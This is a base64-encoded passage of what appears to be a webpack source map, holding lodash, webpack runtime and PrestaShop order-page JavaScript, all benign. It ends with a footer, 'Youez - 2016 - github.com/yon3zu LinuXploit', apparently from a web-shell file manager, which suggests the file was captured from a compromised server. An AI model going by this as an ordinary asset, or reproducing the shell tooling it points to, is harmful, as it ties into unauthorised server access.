Z0KSQvLnRlc3QobWV0aG9kTmFtZSk7XG5cbiAgICAgIGxvZGFzaC5wcm90b3R5cGVbbWV0aG9kTmFtZV0gPSBmdW5jdGlvbigpIHtcbiAgICAgICAgdmFyIGFyZ3MgPSBhcmd1bWVudHM7XG4gICAgICAgIGlmIChyZXRVbndyYXBwZWQgJiYgIXRoaXMuX19jaGFpbl9fKSB7XG4gICAgICAgICAgdmFyIHZhbHVlID0gdGhpcy52YWx1ZSgpO1xuICAgICAgICAgIHJldHVybiBmdW5jLmFwcGx5KGlzQXJyYXkodmFsdWUpID8gdmFsdWUgOiBbXSwgYXJncyk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIHRoaXNbY2hhaW5OYW1lXShmdW5jdGlvbih2YWx1ZSkge1xuICAgICAgICAgIHJldHVybiBmdW5jLmFwcGx5KGlzQXJyYXkodmFsdWUpID8gdmFsdWUgOiBbXSwgYXJncyk7XG4gICAgICAgIH0pO1xuICAgICAgfTtcbiAgICB9KTtcblxuICAgIC8vIE1hcCBtaW5pZmllZCBtZXRob2QgbmFtZXMgdG8gdGhlaXIgcmVhbCBuYW1lcy5cbiAgICBiYXNlRm9yT3duKExhenlXcmFwcGVyLnByb3RvdHlwZSwgZnVuY3Rpb24oZnVuYywgbWV0aG9kTmFtZSkge1xuICAgICAgdmFyIGxvZGFzaEZ1bmMgPSBsb2Rhc2hbbWV0aG9kTmFtZV07XG4gICAgICBpZiAobG9kYXNoRnVuYykge1xuICAgICAgICB2YXIga2V5ID0gbG9kYXNoRnVuYy5uYW1lICsgJyc7XG4gICAgICAgIGlmICghaGFzT3duUHJvcGVydHkuY2FsbChyZWFsTmFtZXMsIGtleSkpIHtcbiAgICAgICAgICByZWFsTmFtZXNba2V5XSA9IFtdO1xuICAgICAgICB9XG4gICAgICAgIHJlYWxOYW1lc1trZXldLnB1c2goeyAnbmFtZSc6IG1ldGhvZE5hbWUsICdmdW5jJzogbG9kYXNoRnVuYyB9KTtcbiAgICAgIH1cbiAgICB9KTtcblxuICAgIHJlYWxOYW1lc1tjcmVhdGVIeWJyaWQodW5kZWZpbmVkLCBXUkFQX0JJTkRfS0VZX0ZMQUcpLm5hbWVdID0gW3tcbiAgICAgICduYW1lJzogJ3dyYXBwZXInLFxuICAgICAgJ2Z1bmMnOiB1bmRlZmluZWRcbiAgICB9XTtcblxuICAgIC8vIEFkZCBtZXRob2RzIHRvIGBMYXp5V3JhcHBlcmAuXG4gICAgTGF6eVdyYXBwZXIucHJvdG90eXBlLmNsb25lID0gbGF6eUNsb25lO1xuICAgIExhenlXcmFwcGVyLnByb3RvdHlwZS5yZXZlcnNlID0gbGF6eVJldmVyc2U7XG4gICAgTGF6eVdyYXBwZXIucHJvdG90eXBlLnZhbHVlID0gbGF6eVZhbHVlO1xuXG4gICAgLy8gQWRkIGNoYWluIHNlcXVlbmNlIG1ldGhvZHMgdG8gdGhlIGBsb2Rhc2hgIHdyYXBwZXIuXG4gICAgbG9kYXNoLnByb3RvdHlwZS5hdCA9IHdyYXBwZXJBdDtcbiAgICBsb2Rhc2gucHJvdG90eXBlLmNoYWluID0gd3JhcHBlckNoYWluO1xuICAgIGxvZGFzaC5wcm90b3R5cGUuY29tbWl0ID0gd3JhcHBlckNvbW1pdDtcbiAgICBsb2Rhc2gucHJvdG90eXBlLm5leHQgPSB3cmFwcGVyTmV4dDtcbiAgICBsb2Rhc2gucHJvdG90eXBlLnBsYW50ID0gd3JhcHBlclBsYW50O1xuICAgIGxvZGFzaC5wcm90b3R5cGUucmV2ZXJzZSA9IHdyYXBwZXJSZXZlcnNlO1xuICAgIGxvZGFzaC5wcm90b3R5cGUudG9KU09OID0gbG9kYXNoLnByb3RvdHlwZS52YWx1ZU9mID0gbG9kYXNoLnByb3RvdHlwZS52YWx1ZSA9IHdyYXBwZXJWYWx1ZTtcblxuICAgIC8vIEFkZCBsYXp5IGFsaWFzZXMuXG4gICAgbG9kYXNoLnByb3RvdHlwZS5maXJzdCA9IGxvZGFzaC5wcm90b3R5cGUuaGVhZDtcblxuICAgIGlmIChzeW1JdGVyYXRvcikge1xuICAgICAgbG9kYXNoLnByb3RvdHlwZVtzeW1JdGVyYXRvcl0gPSB3cmFwcGVyVG9JdGVyYXRvcjtcbiAgICB9XG4gICAgcmV0dXJuIGxvZGFzaDtcbiAgfSk7XG5cbiAgLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovXG5cbiAgLy8gRXhwb3J0IGxvZGFzaC5cbiAgdmFyIF8gPSBydW5JbkNvbnRleHQoKTtcblxuICAvLyBTb21lIEFNRCBidWlsZCBvcHRpbWl6ZXJzLCBsaWtlIHIuanMsIGNoZWNrIGZvciBjb25kaXRpb24gcGF0dGVybnMgbGlrZTpcbiAgaWYgKHR5cGVvZiBkZWZpbmUgPT0gJ2Z1bmN0aW9uJyAmJiB0eXBlb2YgZGVmaW5lLmFtZCA9PSAnb2JqZWN0JyAmJiBkZWZpbmUuYW1kKSB7XG4gICAgLy8gRXhwb3NlIExvZGFzaCBvbiB0aGUgZ2xvYmFsIG9iamVjdCB0byBwcmV2ZW50IGVycm9ycyB3aGVuIExvZGFzaCBpc1xuICAgIC8vIGxvYWRlZCBieSBhIHNjcmlwdCB0YWcgaW4gdGhlIHByZXNlbmNlIG9mIGFuIEFNRCBsb2FkZXIuXG4gICAgLy8gU2VlIGh0dHA6Ly9yZXF1aXJlanMub3JnL2RvY3MvZXJyb3JzLmh0bWwjbWlzbWF0Y2ggZm9yIG1vcmUgZGV0YWlscy5cbiAgICAvLyBVc2UgYF8ubm9Db25mbGljdGAgdG8gcmVtb3ZlIExvZGFzaCBmcm9tIHRoZSBnbG9iYWwgb2JqZWN0LlxuICAgIHJvb3QuXyA9IF87XG5cbiAgICAvLyBEZWZpbmUgYXMgYW4gYW5vbnltb3VzIG1vZHVsZSBzbywgdGhyb3VnaCBwYXRoIG1hcHBpbmcsIGl0IGNhbiBiZVxuICAgIC8vIHJlZmVyZW5jZWQgYXMgdGhlIFwidW5kZXJzY29yZVwiIG1vZHVsZS5cbiAgICBkZWZpbmUoZnVuY3Rpb24oKSB7XG4gICAgICByZXR1cm4gXztcbiAgICB9KTtcbiAgfVxuICAvLyBDaGVjayBmb3IgYGV4cG9ydHNgIGFmdGVyIGBkZWZpbmVgIGluIGNhc2UgYSBidWlsZCBvcHRpbWl6ZXIgYWRkcyBpdC5cbiAgZWxzZSBpZiAoZnJlZU1vZHVsZSkge1xuICAgIC8vIEV4cG9ydCBmb3IgTm9kZS5qcy5cbiAgICAoZnJlZU1vZHVsZS5leHBvcnRzID0gXykuXyA9IF87XG4gICAgLy8gRXhwb3J0IGZvciBDb21tb25KUyBzdXBwb3J0LlxuICAgIGZyZWVFeHBvcnRzLl8gPSBfO1xuICB9XG4gIGVsc2Uge1xuICAgIC8vIEV4cG9ydCB0byB0aGUgZ2xvYmFsIG9iamVjdC5cbiAgICByb290Ll8gPSBfO1xuICB9XG59LmNhbGwodGhpcykpO1xuIiwiLy8gVGhlIG1vZHVsZSBjYWNoZVxudmFyIF9fd2VicGFja19tb2R1bGVfY2FjaGVfXyA9IHt9O1xuXG4vLyBUaGUgcmVxdWlyZSBmdW5jdGlvblxuZnVuY3Rpb24gX193ZWJwYWNrX3JlcXVpcmVfXyhtb2R1bGVJZCkge1xuXHQvLyBDaGVjayBpZiBtb2R1bGUgaXMgaW4gY2FjaGVcblx0dmFyIGNhY2hlZE1vZHVsZSA9IF9fd2VicGFja19tb2R1bGVfY2FjaGVfX1ttb2R1bGVJZF07XG5cdGlmIChjYWNoZWRNb2R1bGUgIT09IHVuZGVmaW5lZCkge1xuXHRcdHJldHVybiBjYWNoZWRNb2R1bGUuZXhwb3J0cztcblx0fVxuXHQvLyBDcmVhdGUgYSBuZXcgbW9kdWxlIChhbmQgcHV0IGl0IGludG8gdGhlIGNhY2hlKVxuXHR2YXIgbW9kdWxlID0gX193ZWJwYWNrX21vZHVsZV9jYWNoZV9fW21vZHVsZUlkXSA9IHtcblx0XHRpZDogbW9kdWxlSWQsXG5cdFx0bG9hZGVkOiBmYWxzZSxcblx0XHRleHBvcnRzOiB7fVxuXHR9O1xuXG5cdC8vIEV4ZWN1dGUgdGhlIG1vZHVsZSBmdW5jdGlvblxuXHRfX3dlYnBhY2tfbW9kdWxlc19fW21vZHVsZUlkXS5jYWxsKG1vZHVsZS5leHBvcnRzLCBtb2R1bGUsIG1vZHVsZS5leHBvcnRzLCBfX3dlYnBhY2tfcmVxdWlyZV9fKTtcblxuXHQvLyBGbGFnIHRoZSBtb2R1bGUgYXMgbG9hZGVkXG5cdG1vZHVsZS5sb2FkZWQgPSB0cnVlO1xuXG5cdC8vIFJldHVybiB0aGUgZXhwb3J0cyBvZiB0aGUgbW9kdWxlXG5cdHJldHVybiBtb2R1bGUuZXhwb3J0cztcbn1cblxuIiwiX193ZWJwYWNrX3JlcXVpcmVfXy5nID0gKGZ1bmN0aW9uKCkge1xuXHRpZiAodHlwZW9mIGdsb2JhbFRoaXMgPT09ICdvYmplY3QnKSByZXR1cm4gZ2xvYmFsVGhpcztcblx0dHJ5IHtcblx0XHRyZXR1cm4gdGhpcyB8fCBuZXcgRnVuY3Rpb24oJ3JldHVybiB0aGlzJykoKTtcblx0fSBjYXRjaCAoZSkge1xuXHRcdGlmICh0eXBlb2Ygd2luZG93ID09PSAnb2JqZWN0JykgcmV0dXJuIHdpbmRvdztcblx0fVxufSkoKTsiLCJfX3dlYnBhY2tfcmVxdWlyZV9fLm5tZCA9IChtb2R1bGUpID0+IHtcblx0bW9kdWxlLnBhdGhzID0gW107XG5cdGlmICghbW9kdWxlLmNoaWxkcmVuKSBtb2R1bGUuY2hpbGRyZW4gPSBbXTtcblx0cmV0dXJuIG1vZHVsZTtcbn07IiwiLyoqXG4gKiBDb3B5cmlnaHQgc2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIFByZXN0YVNob3AgaXMgYW4gSW50ZXJuYXRpb25hbCBSZWdpc3RlcmVkIFRyYWRlbWFyayAmIFByb3BlcnR5IG9mIFByZXN0YVNob3AgU0FcbiAqXG4gKiBOT1RJQ0UgT0YgTElDRU5TRVxuICpcbiAqIFRoaXMgc291cmNlIGZpbGUgaXMgc3ViamVjdCB0byB0aGUgT3BlbiBTb2Z0d2FyZSBMaWNlbnNlIChPU0wgMy4wKVxuICogdGhhdCBpcyBidW5kbGVkIHdpdGggdGhpcyBwYWNrYWdlIGluIHRoZSBmaWxlIExJQ0VOU0UubWQuXG4gKiBJdCBpcyBhbHNvIGF2YWlsYWJsZSB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiBhdCB0aGlzIFVSTDpcbiAqIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMFxuICogSWYgeW91IGRpZCBub3QgcmVjZWl2ZSBhIGNvcHkgb2YgdGhlIGxpY2Vuc2UgYW5kIGFyZSB1bmFibGUgdG9cbiAqIG9idGFpbiBpdCB0aHJvdWdoIHRoZSB3b3JsZC13aWRlLXdlYiwgcGxlYXNlIHNlbmQgYW4gZW1haWxcbiAqIHRvIGxpY2Vuc2VAcHJlc3Rhc2hvcC5jb20gc28gd2UgY2FuIHNlbmQgeW91IGEgY29weSBpbW1lZGlhdGVseS5cbiAqXG4gKiBESVNDTEFJTUVSXG4gKlxuICogRG8gbm90IGVkaXQgb3IgYWRkIHRvIHRoaXMgZmlsZSBpZiB5b3Ugd2lzaCB0byB1cGdyYWRlIFByZXN0YVNob3AgdG8gbmV3ZXJcbiAqIHZlcnNpb25zIGluIHRoZSBmdXR1cmUuIElmIHlvdSB3aXNoIHRvIGN1c3RvbWl6ZSBQcmVzdGFTaG9wIGZvciB5b3VyXG4gKiBuZWVkcyBwbGVhc2UgcmVmZXIgdG8gaHR0cHM6Ly9kZXZkb2NzLnByZXN0YXNob3AuY29tLyBmb3IgbW9yZSBpbmZvcm1hdGlvbi5cbiAqXG4gKiBAYXV0aG9yICAgIFByZXN0YVNob3AgU0EgYW5kIENvbnRyaWJ1dG9ycyA8Y29udGFjdEBwcmVzdGFzaG9wLmNvbT5cbiAqIEBjb3B5cmlnaHQgU2luY2UgMjAwNyBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnNcbiAqIEBsaWNlbnNlICAgaHR0cHM6Ly9vcGVuc291cmNlLm9yZy9saWNlbnNlcy9PU0wtMy4wIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqL1xuaW1wb3J0IENyZWF0ZU9yZGVyUGFnZSBmcm9tICcuL2NyZWF0ZS9jcmVhdGUtb3JkZXItcGFnZSc7XG5cbmNvbnN0IHskfSA9IHdpbmRvdztcbmxldCBvcmRlclBhZ2VNYW5hZ2VyID0gbnVsbDtcblxuLyoqXG4gKiBwcm94eSB0byBhbGxvdyBvdGhlciBzY3JpcHRzIHdpdGhpbiB0aGUgcGFnZSB0byB0cmlnZ2VyIHRoZSBzZWFyY2hcbiAqIEBwYXJhbSBzdHJpbmdcbiAqL1xuZnVuY3Rpb24gc2VhcmNoQ3VzdG9tZXJCeVN0cmluZyhzdHJpbmcpIHtcbiAgaWYgKG9yZGVyUGFnZU1hbmFnZXIgIT09IG51bGwpIHtcbiAgICBvcmRlclBhZ2VNYW5hZ2VyLnNlYXJjaChzdHJpbmcpO1xuICB9IGVsc2Uge1xuICAgIGNvbnNvbGUubG9nKCdFcnJvcjogQ291bGQgbm90IHNlYXJjaCBjdXN0b21lciBhcyBvcmRlclBhZ2VNYW5hZ2VyIGlzIG51bGwnKTtcbiAgfVxufVxuXG4vKipcbiAqIHByb3h5IHRvIGFsbG93IG90aGVyIHNjcmlwdHMgd2l0aGluIHRoZSBwYWdlIHRvIHJlZnJlc2ggYWRkcmVzc2VzIGxpc3RcbiAqL1xuZnVuY3Rpb24gcmVmcmVzaEFkZHJlc3Nlc0xpc3QocmVmcmVzaENhcnRBZGRyZXNzZXMpIHtcbiAgaWYgKG9yZGVyUGFnZU1hbmFnZXIgIT09IG51bGwpIHtcbiAgICBvcmRlclBhZ2VNYW5hZ2VyLnJlZnJlc2hBZGRyZXNzZXNMaXN0KHJlZnJlc2hDYXJ0QWRkcmVzc2VzKTtcbiAgfSBlbHNlIHtcbiAgICBjb25zb2xlLmxvZygnRXJyb3I6IENvdWxkIG5vdCByZWZyZXNoIGFkZHJlc3NlcyBsaXN0IGFzIG9yZGVyUGFnZU1hbmFnZXIgaXMgbnVsbCcpO1xuICB9XG59XG5cbi8qKlxuICogcHJveHkgdG8gYWxsb3cgb3RoZXIgc2NyaXB0cyB3aXRoaW4gdGhlIENyZWF0ZSBPcmRlciBwYWdlIHRvIHJlZnJlc2ggY2FydFxuICovXG5mdW5jdGlvbiByZWZyZXNoQ2FydCgpIHtcbiAgaWYgKG9yZGVyUGFnZU1hbmFnZXIgPT09IG51bGwpIHtcbiAgICBjb25zb2xlLmxvZygnRXJyb3I6IENvdWxkIG5vdCByZWZyZXNoIGFkZHJlc3NlcyBsaXN0IGFzIG9yZGVyUGFnZU1hbmFnZXIgaXMgbnVsbCcpO1xuICAgIHJldHVybjtcbiAgfVxuICBvcmRlclBhZ2VNYW5hZ2VyLnJlZnJlc2hDYXJ0KCk7XG59XG5cbiQoZG9jdW1lbnQpLnJlYWR5KCgpID0+IHtcbiAgb3JkZXJQYWdlTWFuYWdlciA9IG5ldyBDcmVhdGVPcmRlclBhZ2UoKTtcbn0pO1xuXG5leHBvcnQge3NlYXJjaEN1c3RvbWVyQnlTdHJpbmd9O1xuZXhwb3J0IHtyZWZyZXNoQWRkcmVzc2VzTGlzdH07XG5leHBvcnQge3JlZnJlc2hDYXJ0fTtcbiJdLCJzb3VyY2VSb290IjoiIn0=

Youez - 2016 - github.com/yon3zu
LinuXploit